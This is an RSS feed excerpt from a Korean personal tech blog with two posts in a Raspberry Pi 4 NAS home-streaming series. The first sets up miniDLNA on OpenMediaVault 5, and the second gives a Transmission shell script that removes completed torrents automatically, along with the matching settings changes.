&lt;blockquote data-ke-style=&quot;style2&quot;&gt;DLNA(디지털 리빙 네트워크 얼라이언스, Digital Living Network Alliance)는&lt;br /&gt;소니가 2003년 6월에 설립한 비영리 단체로, 모바일, 가전 기기, PC, 서비스 제공자 산업의&lt;br /&gt;250개 이상의 회사와 연계하고 있다.(위키)&lt;br /&gt;&lt;br /&gt;DLNA 인증한 제품간에는 네트워크를 통하여&lt;br /&gt;&lt;u&gt;&lt;b&gt;제조사와 제품 종류에 관계 없이&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;다양한 미디어 컨텐츠(음악/사진/동영상)를&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;공유하고 재생&lt;/b&gt;&lt;/u&gt;할 수 있는 규약&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;miniDLNA 설치&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;OMV 5에서 DLNA를 설치하는 방법은&lt;br /&gt;간단합니다.&lt;br /&gt;&lt;br /&gt;OMV 5 웹 콘솔 &amp;gt; 플러그인 &amp;gt; miniDLNA 검색 &amp;gt; 설치&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;632&quot; data-filename=&quot;이미지 37.png&quot; width=&quot;500&quot; height=&quot;451&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dVczQl/btq98typ83b/kBInnkMgfZQKSCr89wu0D1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dVczQl/btq98typ83b/kBInnkMgfZQKSCr89wu0D1/img.png&quot; data-alt=&quot;miniDLNA 설치&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dVczQl/btq98typ83b/kBInnkMgfZQKSCr89wu0D1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdVczQl%2Fbtq98typ83b%2FkBInnkMgfZQKSCr89wu0D1%2Fimg.png&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;632&quot; data-filename=&quot;이미지 37.png&quot; width=&quot;500&quot; height=&quot;451&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;miniDLNA 설치&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;DLNA 설정&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;설치가 끝나면&lt;br /&gt;OMV 5 웹 콘솔의 서비스에&lt;br /&gt;DLNA가 새로 생성됩니다.&lt;br /&gt;DLNA 설정을 합니다.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;OMV 5 웹 콘솔 &amp;gt; DLNA &amp;gt; 공유 &amp;gt; 추가 &amp;gt;&amp;nbsp;&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;Shared Folder 선택 &amp;gt; 저장 &amp;gt; 적용&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;- Shared Folder: DLNA의 디렉토리로,&lt;br /&gt;&amp;nbsp; 동영상 파일들이 저장되는 위치입니다.&lt;br /&gt;&amp;nbsp; 네트워크 공유 폴더이기 때문에&lt;br /&gt;&amp;nbsp; 공유폴더가 없는 경우 새로 생성해주면 됩니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;701&quot; data-origin-height=&quot;523&quot; data-filename=&quot;이미지 39.png&quot; width=&quot;500&quot; height=&quot;373&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MBUT2/btq91T6bF0E/HArUns21wimlikC8M2oobk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MBUT2/btq91T6bF0E/HArUns21wimlikC8M2oobk/img.png&quot; data-alt=&quot;&amp;amp;amp;nbsp;DLNA 폴더 설정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MBUT2/btq91T6bF0E/HArUns21wimlikC8M2oobk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMBUT2%2Fbtq91T6bF0E%2FHArUns21wimlikC8M2oobk%2Fimg.png&quot; data-origin-width=&quot;701&quot; data-origin-height=&quot;523&quot; data-filename=&quot;이미지 39.png&quot; width=&quot;500&quot; height=&quot;373&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;&amp;nbsp;DLNA 폴더 설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;DLNA도 SMB/CIFS와 마찬가지로&lt;br /&gt;활성화를 해줘야 합니다.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;OMV 5 웹 콘솔 &amp;gt; DLNA &amp;gt; 설정 &amp;gt;&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;활성화 &amp;gt; 저장 &amp;gt; 적용&lt;/b&gt;&lt;/u&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;525&quot; data-filename=&quot;이미지 41.png&quot; width=&quot;500&quot; height=&quot;376&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bFizuj/btq97xHMVqv/10uaKRFsYzHiFoMrdpnJv1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bFizuj/btq97xHMVqv/10uaKRFsYzHiFoMrdpnJv1/img.png&quot; data-alt=&quot;DLNA 활성화&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bFizuj/btq97xHMVqv/10uaKRFsYzHiFoMrdpnJv1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbFizuj%2Fbtq97xHMVqv%2F10uaKRFsYzHiFoMrdpnJv1%2Fimg.png&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;525&quot; data-filename=&quot;이미지 41.png&quot; width=&quot;500&quot; height=&quot;376&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;DLNA 활성화&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;961&quot; data-origin-height=&quot;238&quot; data-filename=&quot;이미지 43.png&quot; width=&quot;500&quot; height=&quot;124&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oNPnh/btq93nTMPtF/j8xNBCqnCxpXQBlEhNFgf1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oNPnh/btq93nTMPtF/j8xNBCqnCxpXQBlEhNFgf1/img.png&quot; data-alt=&quot;DLNA 설치 완료 및 서버에 접속&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oNPnh/btq93nTMPtF/j8xNBCqnCxpXQBlEhNFgf1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoNPnh%2Fbtq93nTMPtF%2Fj8xNBCqnCxpXQBlEhNFgf1%2Fimg.png&quot; data-origin-width=&quot;961&quot; data-origin-height=&quot;238&quot; data-filename=&quot;이미지 43.png&quot; width=&quot;500&quot; height=&quot;124&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;DLNA 설치 완료 및 서버에 접속&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;동영상 시청&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;DLNA 기능을 제공하는&lt;br /&gt;플레이어를 설치하여&lt;br /&gt;시청하면 됩니다.&lt;br /&gt;&lt;br /&gt;PC에서는&lt;br /&gt;5Kplayer를&lt;br /&gt;사용하고 있습니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.5kplayer.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.5kplayer.com/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1626796483703&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;5KPlayer - Built-in with Free AirPlay &amp;amp; DLNA Media Streamer and Online Video Downloader, Best Free 4K 5K Music Video Player Soft&quot; data-og-description=&quot;A Hardware-accelerated Free Music &amp;amp; Video Player5KPlayer, Now Firmly Engined by Hardware Acceleration Boosted by NVIDIA CUDA&amp;reg;, AMD, Intel&amp;reg; QSV, &amp;amp; DXVA 2.0 Hardware-acceleration, this full HD player for macOS/Mac OS X and Windows 10/8/7/Vista/XP consequen&quot; data-og-host=&quot;www.5kplayer.com&quot; data-og-source-url=&quot;https://www.5kplayer.com/&quot; data-og-url=&quot;https://www.5kplayer.com/&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://www.5kplayer.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.5kplayer.com/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;5KPlayer - Built-in with Free AirPlay &amp;amp; DLNA Media Streamer and Online Video Downloader, Best Free 4K 5K Music Video Player Soft&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;A Hardware-accelerated Free Music &amp;amp; Video Player5KPlayer, Now Firmly Engined by Hardware Acceleration Boosted by NVIDIA CUDA&amp;reg;, AMD, Intel&amp;reg; QSV, &amp;amp; DXVA 2.0 Hardware-acceleration, this full HD player for macOS/Mac OS X and Windows 10/8/7/Vista/XP consequen&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.5kplayer.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;끝!&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다운받은 동영상&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;재밌게 보세요!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/116&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2020.12.13 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS 설치 1] 모니터 없이 Raspberry Pi OS( 구 라즈비안, Raspbian) 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/140&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-1. 기본 세팅&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/141&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-2. 계정 변경&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/142&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 2. 업데이트 및 OMV 5 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/143&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 3. OMV 5 설정(IP, 호스트네임, 관리자 암호)&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/144&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-1. 외장하드 포맷&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/145&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-2. 외장하드 마운트 및 자동 마운트&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/146&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 5. Docker, Portainer 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/147&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-1. 토렌트: transmission 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/148&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.21 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-2. 토렌트: transmission 설정&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>NAS/Raspberry Pi</category>
      <category>DLNA</category>
      <category>media server</category>
      <category>MiniDLNA</category>
      <category>Nas</category>
      <category>omv</category>
      <category>raspberry pi</category>
      <category>나스</category>
      <category>라즈베리파이</category>
      <category>미디어 서버</category>
      <category>홈 스트리밍</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/149</guid>
      <comments>https://chmodi.tistory.com/149#entry149comment</comments>
      <pubDate>Wed, 21 Jul 2021 01:19:25 +0900</pubDate>
    </item>
    <item>
      <title>[라즈베리파이4 NAS - 홈 스트리밍] 6-2. 토렌트: transmission 설정</title>
      <link>https://chmodi.tistory.com/148</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그냥 바로 써도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;상관 없습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;토렌트 자동 삭제 등의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설정 방법 안내입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;스크립트 생성&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;토렌트 파일을&lt;br /&gt;모두 다운받고난 뒤&lt;br /&gt;무엇을 할지 정의하는&lt;br /&gt;스크립트를 작성합니다.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;SSH: root 계정 접속&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;# cd [trasmission 디렉토리]/config&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;# mkdir scripts&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;# cd scripts&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;# vi torrent_done.sh&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;내용 입력&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;# chmod a+x torrent_done.sh&lt;/b&gt;&lt;/u&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;691&quot; data-origin-height=&quot;352&quot; data-filename=&quot;이미지 29.png&quot; width=&quot;500&quot; height=&quot;255&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cfbsxf/btq98ucZZ8Y/uIggudamzlJ2OfE5SqcmDk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cfbsxf/btq98ucZZ8Y/uIggudamzlJ2OfE5SqcmDk/img.png&quot; data-alt=&quot;스크립트 생성&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cfbsxf/btq98ucZZ8Y/uIggudamzlJ2OfE5SqcmDk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcfbsxf%2Fbtq98ucZZ8Y%2FuIggudamzlJ2OfE5SqcmDk%2Fimg.png&quot; data-origin-width=&quot;691&quot; data-origin-height=&quot;352&quot; data-filename=&quot;이미지 29.png&quot; width=&quot;500&quot; height=&quot;255&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;스크립트 생성&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;아래는 스크립트 파일의 내용 입니다.&lt;/blockquote&gt;
&lt;pre id=&quot;code_1626792798062&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/bin/sh
# MOVEDIR=/downloads/media	# 완료된 파일 이동 위치
LOGFILE=/config/done_log	# 로그 파일

TORRENTLIST=`transmission-remote --list | sed -e '1d;$d;s/^ *//' | cut --only-delimited --delimiter=' ' --fields=1`                                           
for TORRENTID in $TORRENTLIST
do                                                                                  
echo &quot;* * * * * Operations on torrent ID $TORRENTID starting. * * * * *&quot; &amp;gt;&amp;gt; $LOGFILE

DL_COMPLETED=`transmission-remote --torrent $TORRENTID --info | grep &quot;Percent Done: 100%&quot;`              
                                  
if [ &quot;$DL_COMPLETED&quot; != &quot;&quot; ]; then                  
echo &quot;Torrent #$TORRENTID is completed.&quot; &amp;gt;&amp;gt; $LOGFILE
echo &quot;Removing torrent from list.&quot; &amp;gt;&amp;gt; $LOGFILE                         
# transmission-remote --torrent $TORRENTID --move $MOVEDIR              
transmission-remote --torrent $TORRENTID --remove	# 완료된 토렌트 삭제
else                                                              
echo &quot;Torrent #$TORRENTID is not completed. Ignoring.&quot; &amp;gt;&amp;gt; $LOGFILE
fi

echo &quot;* * * * * Operations on torrent ID $TORRENTID completed. * * * * *&quot; &amp;gt;&amp;gt; $LOGFILE
done&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;이제, transmission의&lt;br /&gt;설정을 변경해야합니다.&lt;br /&gt;&lt;br /&gt;transmission이 동작 중이면&lt;br /&gt;수정이 안되기 때문에,&lt;br /&gt;Docker 또는 Portainer에서&lt;br /&gt;Stop 후&lt;br /&gt;수정하고 재시작해야합니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;393&quot; data-filename=&quot;이미지 30.png&quot; width=&quot;500&quot; height=&quot;282&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cs5t0U/btq98uD53DA/W6iP4AlNmzMmbi7XmKrMN0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cs5t0U/btq98uD53DA/W6iP4AlNmzMmbi7XmKrMN0/img.png&quot; data-alt=&quot;Transmission Stop&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cs5t0U/btq98uD53DA/W6iP4AlNmzMmbi7XmKrMN0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcs5t0U%2Fbtq98uD53DA%2FW6iP4AlNmzMmbi7XmKrMN0%2Fimg.png&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;393&quot; data-filename=&quot;이미지 30.png&quot; width=&quot;500&quot; height=&quot;282&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Transmission Stop&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;다시, 라즈베리파이 콘솔로&lt;br /&gt;돌아와서 수정합니다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;u&gt;# cd [transmission 디렉토리]/conf&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;u&gt;# vi settings.json&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;u&gt;...&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;u&gt;&quot;script-torrent-done-enabled&quot;: true,&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;u&gt;&quot;script-torrent-done-filename&quot;: &quot;/config/scripts/torrent_done.sh&quot;,&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;u&gt;...&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;u&gt;&quot;trash-original-torrent-files&quot;: true,&lt;/u&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
